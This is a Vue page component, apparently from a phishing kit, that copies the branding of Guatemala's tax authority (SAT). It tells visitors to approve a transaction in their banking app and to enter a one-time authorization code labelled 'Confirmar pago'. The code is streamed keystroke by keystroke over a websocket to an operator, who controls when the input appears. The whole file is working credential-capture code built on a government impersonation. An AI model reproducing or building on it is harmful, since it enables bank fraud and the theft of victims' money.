Files
zy-client-a/a7_gt_Fine_sat/src/views/AppValidView.vue
telangpu b8e0814009 update
2026-05-10 22:11:57 +08:00

328 lines
7.4 KiB
Vue
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="dpd-app-wrapper">
<div class="dpd-app-card">
<!-- SAT Guatemala 标识 -->
<div class="sat-header">
<div class="sat-logo-wrap">
<svg viewBox="0 0 48 48" width="42" height="42" xmlns="http://www.w3.org/2000/svg">
<circle cx="24" cy="24" r="22" fill="#003087"/>
<text x="24" y="30" text-anchor="middle" font-size="14" font-weight="bold" fill="#F7941D" font-family="Arial,sans-serif">SAT</text>
</svg>
<div class="sat-logo-text">
<span class="sat-name">Superintendencia de</span>
<span class="sat-name">Administración Tributaria</span>
</div>
</div>
<div class="sat-divider"></div>
</div>
<!-- SAT 手机 App 验证图示 -->
<div class="dpd-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f0f4ff" stroke="#003087" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#003087" opacity="0.3"/>
<circle cx="40" cy="70" r="3" fill="#003087" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#003087" opacity="0.12" stroke="#003087" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#F7941D" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="dpd-title">Autorización en la Banca en Línea</h2>
<p class="dpd-desc">
Abra la aplicación de su banco y confirme la operación solicitada.<br/>
No cierre esta página hasta que la verificación sea completada.
</p>
<div class="dpd-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#003087" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
<p class="dpd-error" v-if="message">{{ message }}</p>
<div class="dpd-input-wrap" v-if="showInput">
<label class="dpd-input-label">Código de autorización de un solo uso</label>
<input
required
type="number"
inputmode="numeric"
class="dpd-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Ingrese el código"
/>
<button class="dpd-btn" type="button" @click="submit">Confirmar pago</button>
</div>
<div class="dpd-loading-wrap" v-if="!showInput">
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#e8edf5" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#003087" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="dpd-waiting">Esperando confirmación en la aplicación bancaria</p>
</div>
</div>
</div>
</template>
<style scoped>
.sat-header {
margin-bottom: 20px;
}
.sat-logo-wrap {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
margin-bottom: 14px;
}
.sat-logo-text {
display: flex;
flex-direction: column;
text-align: left;
}
.sat-name {
font-size: 11px;
font-weight: 700;
color: #003087;
line-height: 1.4;
letter-spacing: 0.02em;
text-transform: uppercase;
}
.sat-divider {
height: 3px;
background: linear-gradient(90deg, #003087 60%, #F7941D 100%);
border-radius: 2px;
margin-bottom: 4px;
}
.dpd-app-wrapper {
min-height: 100dvh;
background-color: #eef1f8;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
font-family: Arial, sans-serif;
}
.dpd-app-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #d0d8e8;
border-top: 4px solid #003087;
box-shadow: 0 2px 16px rgba(0,48,135,0.10);
padding: 36px 28px;
width: 100%;
max-width: 400px;
text-align: center;
}
.dpd-logo {
margin-bottom: 20px;
}
.dpd-logo-img {
width: 100px;
height: auto;
}
.dpd-phone-icon {
margin: 0 auto 20px;
}
.dpd-title {
font-size: 20px;
font-weight: 800;
color: #003087;
margin-bottom: 12px;
}
.dpd-desc {
font-size: 14px;
color: #555;
line-height: 1.6;
margin-bottom: 20px;
}
.dpd-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #333;
margin-bottom: 8px;
}
.dpd-sub {
font-size: 13px;
color: #888;
margin: 4px 0;
}
.dpd-error {
color: #c0392b;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
}
.dpd-input-wrap {
margin-top: 20px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.dpd-input-label {
font-size: 14px;
font-weight: 600;
color: #333;
}
.dpd-input {
width: 80%;
padding: 10px 12px;
border: 2px solid #ccc;
border-radius: 6px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
}
.dpd-input:focus {
border-color: #003087;
}
.dpd-btn {
width: 80%;
padding: 12px;
background-color: #003087;
color: #fff;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.dpd-btn:hover {
background-color: #F7941D;
}
.dpd-btn:active {
background-color: #d97c10;
}
.dpd-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.dpd-spinner {
width: 48px;
height: 48px;
animation: spin 1.2s linear infinite;
}
.dpd-waiting {
font-size: 13px;
color: #999;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>